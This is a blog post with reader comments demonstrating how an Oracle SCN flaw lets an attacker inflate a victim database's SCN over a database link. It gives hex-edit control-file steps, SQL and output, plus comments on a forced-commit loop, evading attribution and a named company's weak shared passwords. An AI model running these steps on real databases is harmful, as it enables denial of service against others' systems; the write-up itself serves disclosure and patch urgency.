As we know, the System Change Number (SCN) is a number that increments sequentially with every database commit (inserts, updates, and deletes), and usually it's not possible to reach the maximum value. The biggest problem is the SCN is also incremented through linked database interactions.
As I see, most Oracle experts do not realize the importance of this security threat. Some people even say that the Oracle SCN issue is a storm in a teacup. I think they miss that it's possible to increase the SCN intentionally and use database links to exploit the bug. So let's create a storm in a teacup :) I should remind you that I will not take any responsibility if you mess up your databases. Just read the blog, do not test it on your systems.
I'll setup a simple scenario to demonstrate the danger. I'll create an ordinary user which has only a table on a VICTIM server. Here's the SQL script:
CREATE USER mrjoker IDENTIFIED BY holyjoker QUOTA 10M ON USERS; GRANT CREATE SESSION TO mrjoker; CREATE TABLE mrjoker.sample_table( A NUMBER ) TABLESPACE USERS;Just a simple account which will access to his own table. I haven't tested but I think it's even possible to use an account with only-read access.
The attacker needs a dummy database (even installed on his own pc). So I've installed a dummy database to my own PC. Both my victim and dummy databases are Oracle 9i. After installation, I started the dummy DB in mount mode and dumped the control file:
SQLPLUS "/ AS SYSDBA" STARTUP MOUNT ORADEBUG SETMYPID ORADEBUG DUMP CONTROLF 2It's easy to read the SCN number (trace file is located in udump directory):
... Controlfile Checkpointed at scn: 0x0000.00010817 01/18/2012 17:00:00 ...10817 in hexadecimal is equal to 67607 in decimal. I shut down my dummy DB, opened the control file in a hex editor, searched for the first occurrence of the hexadecimal array ("15 08 01"). This is the current SCN of the database. Oracle uses a 16-bit checksum algorithm for the control file (at least for Oracle 9i), so I modified two "words" (4 bytes) instead of one word (2 bytes).
Original bytes (in control file):
17 08 - 01 00 - 00 00 - 00 00
Modified bytes:
17 08 - 01 00 - 80 0B - 80 0B
As I said last 2 bytes (1 word) will not be used for SCN, I use it to pass the checksum. So new SCN will be about 12644383787031!!! I copied the modified control file over the original ones, started my dummy database and then checked the SCN:
@scnhealthcheck -------------------------------------------------------------- ScnHealthCheck -------------------------------------------------------------- Current Date: 2012/01/18 17:24:49 Current SCN: 12644383787108 SCN Headroom: 13.41 Version: 9.2.0.8.0 -------------------------------------------------------------- Result: C - SCN Headroom is low If you have not already done so apply the latest recommended patches right now AND contact Oracle support immediately. For further information review MOS document id 1393363.1 --------------------------------------------------------------The scnhealthcheck.sql script is distributed in the official patch to evaluate the risk of your database! It simply calculates the max SCN and headroom. C is the dangerous rate.
Here's the output of same SQL on my victim DB:
@scnhealthcheck -------------------------------------------------------------- ScnHealthCheck -------------------------------------------------------------- Current Date: 2012/01/18 19:00:02 Current SCN: 299811 SCN Headroom: 8945.79 Version: 9.2.0.8.0 -------------------------------------------------------------- Result: A - SCN Headroom is good Apply the latest recommended patches based on your maintenance schedule For further information review MOS document id 1393363.1 --------------------------------------------------------------I've created a database link to victim database and issued a select query on my dummy database:
CREATE DATABASE LINK mytestlink CONNECT TO mrjoker IDENTIFIED BY holyjoker USING 'test9'; SELECT * FROM sample_table@MYTESTLINK;Then I re-run the control.sql file in VICTIM database:
@scnhealthcheck -------------------------------------------------------------- ScnHealthCheck -------------------------------------------------------------- Current Date: 2012/01/18 19:00:18 Current SCN: 12644383787617 SCN Headroom: 13.48 Version: 9.2.0.8.0 -------------------------------------------------------------- Result: C - SCN Headroom is low If you have not already done so apply the latest recommended patches right now AND contact Oracle support immediately. For further information review MOS document id 1393363.1 --------------------------------------------------------------As you see, it is a very serious bug so all DBAs should apply the CPU as soon as possible.
_minimum_giga_scn init parameter does the trick also
ReplyDeleteYes, it's much more easier. Thanks!
Deletehow easy it would be to put virtualbox on a throwaway laptop with a usb wired network device(thrown away afterwards - to mask the mac address) create your dummy database with an scn just say 100 million short of the current hard limit - create a db link to a prod server with a well known account - select across the db link - done.
DeleteIf the dba is unaware it might take a couple of weeks to crash - the perpetrator might even get away with it.
Oracle needs to take this much more seriously than they are.
The patch needs to be a one off - a cumulitive patch will have many side effects that companies will want to test first - this needs to be applied asap - Oracle needs to answer how a database thats at the hard scn limit can be recovered - from a database export is NOT an answer. Oracle needs to shout this out not wisper it.
I totally agree.
DeleteThis got me thinking of well known accounts - years ago i worked at abbott vascular in california - they had some real well known accounts gviprd password the same on gviprd and another vprprd password vprprd on a database called - of all things vprprd on a server named - you guessed it vprprd - they were unchanged for years and years - everybody who passed by that shop knew them - it was our dirty little secret. they must have changed these by now who knows??
ReplyDelete- just imagine if they have not changed these and someone tried this trick on these dbs.......
Im experimenting with this further and finding its hard to cause real harm to a victim db instance. While its easy to currupt a database with an scn thats above the soft line(the max value of the parameter above that matches a system clock thats 20 years ahead). the inflated scn wont pass easily to a victim db through a db link. an ora 600 is generated on the corrupted db side. so im left with just being able to get the scn to the soft limit and no further on the victim db. So is this really that bad of a bug?
ReplyDeleteI'm still searching for new methods to exploit this bug. As I see the victim doesn't accept high SCNs (which will cause a crash). It gives ORA-00600 error and stays functional.
DeleteOn the other hand, it's possible to increase the SCN close to the soft limits. In this case, if the victim server processes more than 16,384 transaction per second, then it will cause problems. MOS ID 1376995.1 says there will be slight hiccups in processing. In some very rare cases, the database may need to shut down to preserve its integrity.
This blog claims to have know about this for months.
Deletehttp://www.orainternals.com/2012/01/20/scn-what-why-and-how/#comment-377
From this (especially interconnected dbs across time zones) it looks like getting close to the soft limit is still pretty bad - but not an instance killer.
From what you know of this - is anybody saying there is a way to abend a db by getting an over the soft limit scn into it?
I don't know anyone who passed a SCN higher than soft-limit to remote DB, yet, but the article of InfoWorld made me think that they did it.
DeleteThanks Andrew for the heads up. More technical details about the bug and patch can be found at myOS: Bug ID 11767824
ReplyDeletereference : http://docs.oracle.com/cd/B28359_01/server.111/b28310/ds_txnman009.htm
ReplyDeletecreate 2 corrupt databases with a db link between them corrupt1 and corrupt2
step 1. disable reco on corrupt1
step 2. then create a distributed transaction from corrupt1 to corrupt2
step 3. then commit with a 'crash' comment as described in the reference
step 4. then 'commit force id scn'
- put scn 23 hours worth of scns advanced - or go to soft limit
- check the oracle sql docs for the command
- the same functionality is available via dbms_transaction
step 5. select across db link to victim db - setting their scn 23 hours ahead
if you have the new oracle patch in place on the victim can you do steps 2-5 in a loop?
can you get to the soft scn limit quickly?
I have not tried this on a patched system.
Ive tried this with unpatched systems, the loop runs pretty quick - a years worth of scns in a few minutes -
you can get to the soft limit in one iteration.
Thanks for sharing.
DeleteAnd the point of that would be what? Ok so you raise the SCN of the victim database to (close to) the soft limit, and then what?
DeleteAssuming nothing is actually comsuming at a massive rate in the victim, the soft limit keeps growing at a higher rate than the consumpution, so you still haven't achieved to do anything *really* bad in that database.
Probably you haven't read this one:
Deletehttp://www.gokhanatil.com/2012/01/fundamental-oracle-flaw-revealed-part.html
... or you say crashing a DB (or any kind of denial of service attacks) is not a bad thing.
if a company has oracle instances located in different time zones.
ReplyDeletesetting the scn to the soft limit in an advanced timezone will disable its db link activity to other time zones until enough head room is obtained by time passing. this is due to the soft limit being based on the local systems clock - (maybe one reason to set all server clocks to gmt?). if the forward timezoned system is idle the amount of time for the minimum headroom would be the timezone delta. Web service communication between databases is looking better every day...